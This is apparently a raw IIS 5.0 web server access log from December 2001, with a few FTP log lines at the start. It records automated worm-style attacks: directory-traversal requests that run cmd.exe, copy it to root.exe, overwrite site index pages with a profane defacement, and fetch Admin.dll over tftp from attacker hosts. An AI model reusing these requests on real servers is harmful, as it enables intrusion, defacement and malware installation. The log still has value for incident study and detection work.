213.10.221.106
213.10.221.106
213.10.221.106
213.10.221.106
213.10.221.106

[1]created =++1+mb++= 550


[1]sent /pages/1/=++1+mb++= 550
[1]created =++1+mb++= 550
[1]sent /pages/africa/=++1+mb++= 550
[1]created =++1+mb++= 550
[1]sent /images/=++1+mb++= 550
[1]created =++1+mb++= 550
[1]sent /Drop/=++1+mb++= 550
[1]created =++1+mb++= 550
[1]sent /Badmail/=++1+mb++= 550
[1]created =++1+mb++= 550
[1]QUIT - 257
[2]USER anonymous 331
[2]PASS anonymous@on.the.net 230
[2]QUIT 257

#Software: Microsoft Internet Information Services 5.0


#Version: 1.0
#Date: 2001-12-13 00:00:15
#Fields: date time c-ip cs-username s-ip s-port cs-method cs-uri-stem
cs-uri-query sc-status cs(User-Agent)
2001-12-13
01:22:38
202.99.176.28
217.57.163.98
80
GET
/scripts/../../winnt/system32/cmd.exe /c+dir 200 2001-12-13
01:22:38
202.99.176.28
217.57.163.98
80
GET
/scripts/../../winnt/system32/cmd.exe /c+dir+..\ 200 2001-12-13
01:22:40
202.99.176.28
217.57.163.98
80
GET
/scripts/../../winnt/system32/cmd.exe
/c+copy+\winnt\system32\cmd.exe+root.exe 502
2001-12-13
01:22:40
202.99.176.28
217.57.163.98
80
GET
/scripts/root.exe
/c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>.././index.asp 502
2001-12-13
01:22:46
202.99.176.28
217.57.163.98
80
GET
/scripts/root.exe
/c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>.././index.htm 502
2001-12-13
01:22:50
202.99.176.28
217.57.163.98
80
GET
/scripts/root.exe
/c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>.././default.asp 502
2001-12-13
01:22:54
202.99.176.28
217.57.163.98
80
GET
/scripts/root.exe
/c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center

%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>.././default.htm 502
2001-12-13
01:23:00
202.99.176.28
217.57.163.98
80
GET
/scripts/root.exe
/c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>../../index.asp 502
2001-12-13
01:23:04
202.99.176.28
217.57.163.98
80
GET
/scripts/root.exe
/c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>../../index.htm 502
2001-12-13
01:23:04
202.99.176.28
217.57.163.98
80
GET
/scripts/root.exe
/c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>../../default.asp 502

2001-12-13
01:23:06
202.99.176.28
217.57.163.98
80
GET
/scripts/root.exe
/c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>../../default.htm 502

2001-12-13
01:23:14
202.99.176.28
217.57.163.98
80
GET
/scripts/root.exe
/c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>../AdminScripts/index.
asp 502
2001-12-13 01:23:14 202.99.176.28 - 217.57.163.98 80 GET /scripts/root.exe
/c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align%3D
%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>../AdminScripts/index.htm 502

2001-12-13 01:23:16 202.99.176.28 - 217.57.163.98 80 GET


/scripts/root.exe /c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>../AdminScripts/defaul
t.asp 502
2001-12-13 01:23:20 202.99.176.28 - 217.57.163.98 80 GET
/scripts/root.exe /c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>../AdminScripts/defaul
t.htm 502 2001-12-13 01:23:24 202.99.176.28 - 217.57.163.98 80 GET
/scripts/root.exe /c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>../ftproot/index.asp
502
2001-12-13 01:23:29 202.99.176.28 - 217.57.163.98 80 GET
/scripts/root.exe /c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>../ftproot/index.htm
502
2001-12-13 01:23:29 202.99.176.28 - 217.57.163.98 80 GET
/scripts/root.exe /c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>../ftproot/default.asp
502
2001-12-13 01:23:43 202.99.176.28 - 217.57.163.98 80 GET
/scripts/root.exe /c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>../ftproot/default.htm
502

2001-12-13 01:23:48 202.99.176.28 - 217.57.163.98 80 GET


/scripts/../../winnt/system32/cmd.exe
/c+copy+\winnt\system32\cmd.exe+root.exe 502
2001-12-13 01:23:48 202.99.176.28 - 217.57.163.98 80 GET
/scripts/root.exe /c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>../iissamples/index.as
p 502
2001-12-13 01:23:53 202.99.176.28 - 217.57.163.98 80 GET
/scripts/root.exe /c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>../iissamples/index.ht
m 502 2001-12-13 01:23:57 202.99.176.28 - 217.57.163.98 80 GET
/scripts/root.exe /c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>../iissamples/default.
asp 502
2001-12-13 01:23:57 202.99.176.28 - 217.57.163.98 80 GET
/scripts/root.exe /c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>../iissamples/default.
htm 502
2001-12-13 01:24:02 202.99.176.28 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe
/c+copy+\winnt\system32\cmd.exe+root.exe 502
2001-12-13 01:24:02 202.99.176.28 - 217.57.163.98 80 GET
/scripts/root.exe /c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>../mailroot/index.asp
502
2001-12-13 01:24:07 202.99.176.28 - 217.57.163.98 80 GET
/scripts/root.exe /c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color

%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>../mailroot/index.htm
502
2001-12-13 01:24:07 202.99.176.28 - 217.57.163.98 80 GET
/scripts/root.exe /c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>../mailroot/default.as
p 502
2001-12-13 01:24:12 202.99.176.28 - 217.57.163.98 80 GET
/scripts/root.exe /c+echo+^<html^>^<body+bgcolor
%3Dblack^>^<br^>^<br^>^<br^>^<br^>^<br^>^<br^>^<table+width
%3D100%^>^<td^>^<p+align%3D%22center%22^>^<font+size%3D7+color
%3Dred^>fuck+USA+Government^</font^>^<tr^>^<td^>^<p+align%3D%22center
%22^>^<font+size%3D7+color%3Dred^>fuck+PoizonBOx^<tr^>^<td^>^<p+align
%3D%22center%22^>^<font+size%3D4+color
%3Dred^>contact:sysadmcn@yahoo.com.cn^</html^>>../mailroot/default.ht
m 502
2001-12-13 01:24:12 202.99.176.28 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe
/c+copy+\winnt\system32\cmd.exe+root.exe 502 2001-12-13 01:37:23 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 200
2001-12-13 01:39:12 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 200
2001-12-13 01:40:06 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+tftp%20-i%20217.57.79.187%20GET%20Admin.dll
%20Admin.dll 502
2001-12-13 02:33:33 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 200
2001-12-13 02:34:34 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+tftp%20-i%20217.57.79.187%20GET%20Admin.dll
%20Admin.dll 502
2001-12-13 02:34:47 217.57.79.187 - 217.57.163.98 80 GET
/MSADC/root.exe /c+dir 403
2001-12-13 02:34:56 217.57.79.187 - 217.57.163.98 80 GET
/c/winnt/system32/cmd.exe /c+dir 404
2001-12-13 02:35:03 217.57.79.187 - 217.57.163.98 80 GET
/d/winnt/system32/cmd.exe /c+dir 404
2001-12-13 03:08:13 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 200
2001-12-13 03:10:34 217.57.79.187 - 217.57.163.98 80 GET /scripts/root.exe /c+tftp%20-i
%20217.57.79.187%20GET%20Admin.dll%20Admin.dll 502

2001-12-13 06:13:43 217.57.79.187 - 217.57.163.98 80 GET /scripts/root.exe /c+dir 200


2001-12-13 06:43:51 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 200
2001-12-13 06:43:56 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+tftp%20i%20217.57.79.187%20GET%20Admin.dll%20Admin.dll 502
2001-12-13 06:44:23 217.57.79.187 - 217.57.163.98 80 GET
/d/winnt/system32/cmd.exe /c+dir 404
2001-12-13 06:44:37 217.57.79.187 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200
2001-12-13 06:44:43 217.57.79.187 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.79.187%20GET
%20Admin.dll%20c:\Admin.dll 502
2001-12-13 06:44:48 217.57.79.187 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.79.187%20GET
%20Admin.dll%20d:\Admin.dll 502
2001-12-13 06:46:05 217.57.79.187 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.79.187%20GET
%20Admin.dll%20e:\Admin.dll 502
2001-12-13 06:46:10 217.57.79.187 - 217.57.163.98 80 GET /scripts/..
%5c../Admin.dll - 500
2001-12-13 06:55:08 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 200
2001-12-13 06:55:13 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+tftp%20-i%20217.57.79.187%20GET%20Admin.dll
%20Admin.dll 502
2001-12-13 07:54:51 217.57.79.187 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 200
2001-12-13 14:48:10 217.136.27.227 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 200
2001-12-13 14:50:00 217.136.27.227 - 217.57.163.98 80 GET
/d/winnt/system32/cmd.exe /c+dir 404
2001-12-13 14:50:06 217.136.27.227 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200
2001-12-13 14:50:11 217.136.27.227 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.136.27.227%20GET
%20Admin.dll%20c:\Admin.dll 502
2001-12-13 14:53:24 217.136.27.227 - 217.57.163.98 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 200
2001-12-13 14:53:31 217.136.27.227 - 217.57.163.98 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.136.27.227%20GET%20Admin.dll%20c:\Admin.dll 502

2001-12-13 14:53:37 217.136.27.227 - 217.57.163.98 80 GET


/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.136.27.227%20GET%20Admin.dll%20d:\Admin.dll 502
2001-12-13 14:53:45 217.136.27.227 - 217.57.163.98 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.136.27.227%20GET%20Admin.dll%20e:\Admin.dll 502
2001-12-13 14:53:52 217.136.27.227 - 217.57.163.98 80 GET
/_vti_bin/..%5c../..%5c../..%5c../Admin.dll - 500
2001-12-13 14:53:59 217.136.27.227 - 217.57.163.98 80 GET
/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404
2001-12-13 14:54:06 217.136.27.227 - 217.57.163.98 80 GET /msadc/..
%5c../..%5c../..%5c/..../..../..../winnt/system32/cmd.exe /c+dir
403 2001-12-13 14:54:11 217.136.27.227 - 217.57.163.98 80 GET
/scripts/..../winnt/system32/cmd.exe /c+dir 500
2001-12-13 14:54:16 217.136.27.227 - 217.57.163.98 80 GET
/scripts/root.exe /c+tftp%20-i%20217.136.27.227%20GET%20Admin.dll
%20Admin.dll 502
2001-12-13 14:54:16 217.136.27.227 - 217.57.163.98 80 GET
/scripts/winnt/system32/cmd.exe /c+dir 404
2001-12-13 14:54:18 217.136.27.227 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.136.27.227%20GET
%20Admin.dll%20d:\Admin.dll 502
2001-12-13 14:54:22 217.136.27.227 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe /c+dir 200
2001-12-13 14:54:23 217.136.27.227 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.136.27.227%20GET
%20Admin.dll%20e:\Admin.dll 502
2001-12-13 14:59:03 217.136.27.227 - 217.57.163.98 80 GET
/scripts/..\../winnt/system32/cmd.exe /c+dir 200
2001-12-13 14:59:08 217.136.27.227 - 217.57.163.98 80 GET
/scripts/..\../winnt/system32/cmd.exe /c+tftp%20-i
%20217.136.27.227%20GET%20Admin.dll%20c:\Admin.dll 502
2001-12-13 14:59:13 217.136.27.227 - 217.57.163.98 80 GET
/scripts/..\../winnt/system32/cmd.exe /c+tftp%20-i
%20217.136.27.227%20GET%20Admin.dll%20d:\Admin.dll 502
2001-12-13 14:59:18 217.136.27.227 - 217.57.163.98 80 GET
/scripts/..\../winnt/system32/cmd.exe /c+tftp%20-i
%20217.136.27.227%20GET%20Admin.dll%20e:\Admin.dll 502
2001-12-13 14:59:23 217.136.27.227 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe /c+tftp%20-i
%20217.136.27.227%20GET%20Admin.dll%20c:\Admin.dll 502
2001-12-13 14:59:24 217.136.27.227 - 217.57.163.98 80 GET
/scripts/..\../Admin.dll - 500

2001-12-13 14:59:30 217.136.27.227 - 217.57.163.98 80 GET /scripts/..


%5c../winnt/system32/cmd.exe /c+dir 200
2001-12-13 14:59:36 217.136.27.227 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.136.27.227%20GET
%20Admin.dll%20c:\Admin.dll 502
2001-12-13 15:00:54 217.136.27.227 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe /c+tftp%20-i
%20217.136.27.227%20GET%20Admin.dll%20d:\Admin.dll 502
2001-12-13 15:02:02 217.136.27.227 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe /c+tftp%20-i
%20217.136.27.227%20GET%20Admin.dll%20e:\Admin.dll 502
2001-12-13 15:02:45 217.136.27.227 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200
2001-12-13 15:03:26 217.57.113.19 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 200
2001-12-13 15:03:26 217.57.113.19 - 217.57.163.98 80 GET
/scripts/root.exe /c+tftp%20-i%20217.57.113.19%20GET%20Admin.dll
%20Admin.dll 502
2001-12-13 15:03:32 217.57.113.19 - 217.57.163.98 80 GET
/d/winnt/system32/cmd.exe /c+dir 404
2001-12-13 15:03:33 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200
2001-12-13 15:03:33 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.113.19%20GET
%20Admin.dll%20c:\Admin.dll 502
2001-12-13 15:03:35 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.113.19%20GET
%20Admin.dll%20d:\Admin.dll 502
2001-12-13 15:03:38 217.136.27.227 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.136.27.227%20GET
%20Admin.dll%20d:\Admin.dll 502
2001-12-13 15:03:45 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.113.19%20GET
%20Admin.dll%20e:\Admin.dll 502
2001-12-13 15:03:45 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../Admin.dll - 500
2001-12-13 15:03:47 217.57.113.19 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.113.19%20GET%20Admin.dll%20c:\Admin.dll 502
2001-12-13 15:03:48 217.57.113.19 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.113.19%20GET%20Admin.dll%20d:\Admin.dll 502
2001-12-13 15:03:48 217.57.113.19 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.113.19%20GET%20Admin.dll%20e:\Admin.dll 502

2001-12-13 15:03:50 217.57.113.19 - 217.57.163.98 80 GET /_vti_bin/..


%5c../..%5c../..%5c../Admin.dll - 500
2001-12-13 15:03:50 217.57.113.19 - 217.57.163.98 80 GET /_mem_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404
2001-12-13 15:03:51 217.57.113.19 - 217.57.163.98 80 GET /msadc/..
%5c../..%5c../..%5c/..../..../..../winnt/system32/cmd.exe /c+dir
403
2001-12-13 15:03:55 217.57.113.19 - 217.57.163.98 80 GET
/scripts/..../winnt/system32/cmd.exe /c+dir 500
2001-12-13 15:03:59 217.57.113.19 - 217.57.163.98 80 GET
/scripts/winnt/system32/cmd.exe /c+dir 404
2001-12-13 15:03:59 217.57.113.19 - 217.57.163.98 80 GET
/scripts/../../winnt/system32/cmd.exe /c+dir 200
2001-12-13 15:04:21 217.136.27.227 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.136.27.227%20GET
%20Admin.dll%20d:\Admin.dll 502
2001-12-13 15:04:30 217.57.113.19 - 217.57.163.98 80 GET
/scripts/root.exe /c+dir 200
2001-12-13 15:04:30 217.57.113.19 - 217.57.163.98 80 GET
/scripts/root.exe /c+tftp%20-i%20217.57.113.19%20GET%20Admin.dll
%20Admin.dll 502
2001-12-13 15:04:32 217.57.113.19 - 217.57.163.98 80 GET
/scripts/Admin.dll - 500
2001-12-13 15:04:33 217.57.113.19 - 217.57.163.98 80 GET
/d/winnt/system32/cmd.exe /c+dir 404
2001-12-13 15:04:34 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200
2001-12-13 15:04:34 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.113.19%20GET
%20Admin.dll%20c:\Admin.dll 502
2001-12-13 15:04:40 217.136.27.227 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.136.27.227%20GET
%20Admin.dll%20c:\Admin.dll 502
2001-12-13 15:04:43 217.136.27.227 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.136.27.227%20GET
%20Admin.dll%20e:\Admin.dll 502
2001-12-13 15:05:57 217.136.27.227 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+dir 200
2001-12-13 15:06:01 217.136.27.227 - 217.57.163.98 80 GET /scripts/..
%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.136.27.227%20GET
%20Admin.dll%20c:\Admin.dll 502

2001-12-13 15:06:09 217.57.113.19 - 217.57.163.98 80 GET /scripts/..


%5c../winnt/system32/cmd.exe /c+tftp%20-i%20217.57.113.19%20GET
%20Admin.dll%20e:\Admin.dll 502
2001-12-13 15:06:09 217.57.113.19 - 217.57.163.98 80 GET /scripts/..
%5c../Admin.dll - 500
2001-12-13 15:06:11 217.57.113.19 - 217.57.163.98 80 GET /_vti_bin/..
%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+tftp%20-i
%20217.57.113.19%20GET%20Admin.dll%20c:\Admin.dll 502
2001-12-13 15:06:13 217.57.113.19 - 217.57.163.98 80 GET /_vti_bin/..
